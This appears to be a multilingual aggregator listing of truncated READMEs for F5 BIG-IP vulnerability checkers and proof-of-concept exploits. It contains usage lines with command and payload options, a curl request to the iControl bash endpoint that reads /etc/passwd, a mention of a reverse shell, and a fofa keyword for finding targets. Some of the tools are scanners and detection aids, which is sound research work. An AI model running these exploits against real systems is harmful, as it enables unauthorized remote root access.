CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE 확인 스크립트 CVE-2022-1388 RCEF5 BIG-IP를 확인하는 간단한 bash 스크립트입니다. + 사용법: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 익스플로잇 IP 주소를 변경하는 것을 잊지 마세요. root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection:...

CVE-2021-22986

CVE-2021-22986 F5 BIG-IP/BIG-IQ iControl REST API SSRF导致RCE 使用方法： root@kitploit: python CVE-2021-22986.py...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command 免责声明 此工具仅用于学习、研究和自查。不应将其用于非法目的。使用本工具产生的一切风险与我无关！ Disclaimer This tool is for study, research, and self-examination only. It should not be used for...

CVE-2020-5902

CVE-2020-5902 この脆弱性をチェックするためのPOCコードです。コードが公開されたため、私もこれを公開することにしました。即座にパッチを適用してください！ root@kitploit: Usage: python3 CVE-2020-5902.py -u https://big-ip.com -o check 2/dev/null...

Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Nuclei テンプレート CVE-2022-1388 BIG-IP iControl REST 露出 2022年5月6日 これは認証エンドポイントにアクセスしてAPIの存在を確認するだけです この脆弱性により、管理ポートやセルフIPアドレスを介してBIG-IPシステムにネットワークアクセス可能な認証されていない攻撃者が、任意のシステムコマンドを実行したり、ファイルを作成・削除したり、サービスを無効化したりする可能性があります。データプレーンへの影響はなく、これはコントロールプレーンの問題のみです。 このテンプレートは簡単なチェックです リクエストを送信: path...

CVE-2020-5902-Vuln-Checker

CVE-2020-5902 脆弱性チェッカー 脆弱性を他の研究者と調査しているうちに、現在のテスト方法のほとんどがシステムへの侵害の一種と見なされる可能性があることに気付きました。スキャン対象のシステムを侵害しない形で脆弱性をテストする方法を開発したいと考えました。 このために、この小さなPythonツールを作成しました。これはシステムのログインにGETリクエストを送信し、これによりシステムが利用可能で可視であり、攻撃者による侵害の可能性があることが示されますが、その結果、システム情報やクライアントデータを侵害することはありません。 F5 BIG-IPとは F5 BIG-IP...

CVE-2020-5902

CVE-2020-5902 CVE-2020-5902 F5 BIG-IP 장치를 확인하는 Python 스크립트입니다. 사용법 root@kitploit: python3 CVE-2020-5902.py -i 출력 root@kitploit: - Python script to check CVE-2020-5902 F5 BIG-IP devices. | coded by Abdullah AlZahrani ! Your target: 127.0.0.1 I /etc/passwd readable PoC...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP の未認証 RCE 脆弱性 F5 BIG-IP iControl REST の認証バイパス RCE 脆弱性 fofa keywords: title="BIG-IP- Redirect" 使用方法 攻撃 root@kitploit: $ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx + https://203.xxx.xxx.xxx is vulnerable input your command:...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP に影響する CVE-2022-1388 の PoC。 使い方 root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File list...

CVE-2022-1388_refresh

CVE-2022-1388 - refresh BigIP F5 上の CVE-2022-1388 を悪用するための PoC エクスプロイトの使い方 root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD...

CVE-2020-5902

CVE-2020-5902 针对 F5-Big-IP CVE-2020-5902 的漏洞利用代码 摘要 在 BIG-IP 版本 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1 和 11.6.1-11.6.5.1 中，流量管理用户界面（TMUI），也称为配置实用程序，在未公开页面中存在远程代码执行（RCE）漏洞。 概念验证 root@kitploit:...

CVE-2020-5902-F5-BIGIP

CVE-2020-5902-F5-BIGIP 从给定列表中扫描 F5 BIG-IP 并检查 CVE-2020-5902...

CVE-2025-31644

CVE-2025-31644: F5 BIG-IP の Appliance モードにおけるコマンドインジェクション 「save」コマンドの「file」パラメータはコマンドインジェクション攻撃に対して脆弱であり、認証された攻撃者が「/mgmt」Web API または SSH「tmsh」シェルへの管理者権限を利用して、対象システム上で「root」ユーザーとしてリモートコード実行を取得できる可能性があります。 注記: この発見は、BIG-IP が Appliance モードで実行されている場合にのみ脆弱性とみなされます。これは、認証された管理者権限を持つ攻撃者が、通常は任意の Advanced...

CVE-2024-21793

CVE-2024-21793 出典: https://eclypsium.com/blog/big-vulnerabilities-in-next-gen-big-ip/...

CVE-2020-5902-F5BIG

CVE-2020-5902-F5BIG 아래와 같이 명령을 실행하세요 👇 root@kitploit: go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m R -f /etc/issue or go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m C...

CVE-2022-1388

CVE-2022-1388 このリポジトリは、CVE-2022-1388（F5のBIG-IP RCE）のPythonエクスプロイトコードで構成されています。 usage: exploit.py -h -t TARGET -p PORT -c CMD --ssl オプション: -h, --help このヘルプメッセージを表示して終了 -t TARGET, --target TARGET 脆弱なサーバーのIPアドレス/ドメイン名を指定 -p PORT, --port PORT 脆弱なサーバーのポート番号を指定 -c CMD, --cmd CMD 実行したいコマンドを指定 --ssl...

westone-CVE-2022-1388-scanner

westone-CVE-2022-1388-scanner 未公開のリクエストが iControl REST 認証をバイパスする可能性があります。 インストールと使用方法 git clone https://github.com/Osyanina/westone-CVE-2021-21980-scanner.git cd westone-CVE-2022-1388-scanner cmd CVE-2022-1388.exe...

BIG-IP-F5-TMUI-RCE-Vulnerability

BIG-IP-F5-TMUI-RCE-Vulnerability CVE-2020-5902 BIG-IP F5 TMUI RCE 취약점 RCE PoC/ 테스트 스크립트...

refreshing-soap-exploit

これは、F5 Big-IP の CSRF によりリモートコード実行を引き起こす CVE-2022-41622 の概念実証です。使い方は少し煩わしいですが、お気に入りのユースケースを順に説明します。 脆弱性 中核となる脆弱性は、F5 Big-IP の SOAP インターフェースにおけるクロスサイトリクエストフォージェリです。このインターフェースは /iControl/iControlPortal.cgi を介してアクセスされ、root として実行されます。しかし、root であっても SELinux ポリシーによって制限されるため、悪用は困難です。ただし、以下でいくつかのバイパスを紹介しま...

CVE-2022-1388

CVE-2022-1388 RCE、リバースシェル、および PCAP 自動エクスポート -- 教育目的のみに使用 -- 著者は、このプロジェクト/リポジトリのいかなる側面を用いて行われた行動についても責任を負いません。私は、攻撃の理解と SIEM 内での検知ルール作成を目的としてこれを作成し、他の人にも同じことをしてもらえるよう共有したいと思いました。使用は自己責任です。 このエクスプロイトは、F5 Systems の BIG-IP iControl REST の脆弱性 CVE-2022-1388 を対象としています。影響を受けるバージョンやその他の情報については、F5 のアドバイザリ...